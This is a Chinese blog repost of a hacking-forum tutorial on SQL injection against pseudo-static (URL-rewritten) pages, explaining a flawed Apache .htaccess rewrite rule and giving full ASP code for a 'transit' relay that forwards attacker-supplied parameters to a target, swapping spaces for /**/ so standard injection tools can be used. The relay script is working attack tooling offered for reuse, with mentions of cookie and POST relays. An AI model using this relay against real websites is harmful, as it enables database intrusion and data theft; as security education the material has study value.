最新消息:

伪静态与中转–科普

渗透 admin 2109浏览 0评论

转自法克论坛

伪 静态,无非是隐藏文件名与参数,如果正则写得不好还是会有注入存在。这里用到了中转的方式注入,中转可以分为get,post,cookie中转等。我对 中转简单的理解为利用第三方服务器发送请求,而不是直接请求目标网站。换言之就是可以利用第三方服务器发送包括get,post,cookie等的请求, 而我们仅仅只需要在地址栏操作即可,这时候注入工具往往就能用上,避免因post或cookie有注入而工具由于难定制而没法注入。当然手工起来也方便多 了。


 

看看下面的一个伪静态页面
1624302a6omk18q6n1m28d1

中转注入有可能注入伪静态,伪静态注入只是中转的一个方面的利用。

还是说一下伪静态先,上图的伪静态是用了apache的rewrite模块,结合分布式配置文件.htaccess里的一段类perl正则重写了uri实现的,如下
162431fna5krdprzx113x11
可见blog目录并不真实存在,而真实存在的是best.php文件,所以伪静态很好的保护了文件名和参数。
需要注意的是由于这段正则有缺陷,所以可以注入(很明显吧,真实的比这个复杂多了)。大概解释一下正则的效 果,就是把包含blog路径,然后是包含空白区域的html文件名的路径替换成best.php?id=[符合正则的那段字符],简单来说就是uri中 html的文件名作为参数id的值,请求best.php页面。
我们知道有一个注入中转工具,生成asp脚本,php脚本也行滴,无非是发包嘛,这里以生成asp为例。看看工具
162431i4bq2mum66q0222j1
可以生成post,get,cookie等的asp代码,下面我分别截关键代码出来
cookie中转
162437p981h8vh8qh8zvk11
post中转
162438fmsc5mw14k02sfsm1
下面我讲get中转,也就是适合伪静态的,这里就不截图鸟。
看代码
<%
JmdcwName=request(“id”)
JmStr=JmdcwName
JmStr=URLEncoding(JmStr)
JMUrl=”http://192.168.235.7:8808/ad/blog/”  //实际上要请求的网址
JMUrl=JMUrl & JmStr&”.html”    //拼接url
response.write JMUrl&JmStr    //我这里故意输出url来看
‘JmRef=”http://127.0.0.1/6kbbs/bank.asp”
JmCok=””
JmCok=replace(JmCok,chr(32),”%20″)
JmStr=URLEncoding(JmStr)

response.write  PostData(JMUrl,JmStr,JmCok,JmRef) //url,查询字符串,cookie,referer字段

Function PostData(PostUrl,PostStr,PostCok,PostRef)
Dim Http
Set Http = Server.CreateObject(“msxml2.serverXMLHTTP”)
With Http
.Open “GET”,PostUrl,False
.Send ()
PostData = .ResponseBody
End With
Set Http = Nothing
PostData =bytes2BSTR(PostData)
End Function

Function bytes2BSTR(vIn)   //处理返回的信息
Dim strReturn
Dim I, ThisCharCode, NextCharCode
strReturn = “”
For I = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn, I, 1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn, I + 1, 1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
I = I + 1
End If
Next
bytes2BSTR = strReturn
End Function

Function URLEncoding(vstrin)    //发包前对参数的url编码一下
strReturn=””
Dim i
‘vstrin=replace(vstrin,”%”,”%25″) ‘增加转换搜索字符,
‘vstrin=Replace(vstrin,chr(32),”%20″) ‘转换空格,如果网站过滤了空格,尝试用/**/来代替%20
‘vstrin=Replace(vstrin,chr(43),”%2B”)  ‘JMDCW增加转换+字符
vstrin=Replace(vstrin,chr(32),”/**/”)  ‘在此增加要过滤的代码 //这里很关键,方便啊,把空格自动换成/**/,后面会说到的
For i=1 To Len(vstrin)
ThisChr=Mid(vstrin,i,1)
if Abs(Asc(ThisChr))< &HFF Then
strReturn=strReturn & ThisChr
Else
InnerCode=Asc(ThisChr)
If InnerCode<0 Then
InnerCode=InnerCode + &H10000
End If
Hight1=(InnerCode And &HFF00) \&HFF
Low1=InnerCode And &HFF
strReturn=strReturn & “%” & Hex(Hight1) & “%” & Hex(Low1)
End if
Next
URLEncoding=strReturn
End Function

%>
如果不get中转,这里需要这么注入
162438auuzl40ghc0flr4u1
图一

1624394z8fk2djphc2hvjn1
图二

显然,由于正则替换的关系,空格需要替换成/**/才能注入,每次都这么折腾,够呛的吧。还有伪静态一般的注入工具也没办法了。
但是,通过上面的源代码,自己架一个iis,访问一下,伪静态神马的不就变成了普通注入了么,会工具的也就可以上了!!手工也方便了。
当然,这还只是get,本来就在url那里,如果是cookie存在注入,不用工具,你手工不得搞死?中转一下,舒服多了。
还有,有些url经过一下编码很难看出原来的样子,比如有些网址路径或参数经过base64编码了,如果中转一下,那多好。。。。
162440e5yl21o5u4kl2y221
162441fdc34ca4fbv2bcvc1
162442vepjsz9yiovpdyby1
想起了法克游戏的第一题,呵呵
http://game.f4ck.net/level1/index.php?id=MQ==

 

WN5VLP(R]KD${~R7Y9_2X]J.jpg (73.3 KB, 下载次数: 3)

 

162443o3beq4fpe0wvpz441

转载请注明:jinglingshu的博客 » 伪静态与中转–科普

发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

网友最新评论 (1)

  1. 学习了:用了apache的rewrite模块,结合分布式配置文件.htaccess里的一段类perl正则重写了uri实现url重写。读完这篇文章感觉知道了怎么实现xssme搭建的最后一步了
    admin12年前 (2013-06-09)回复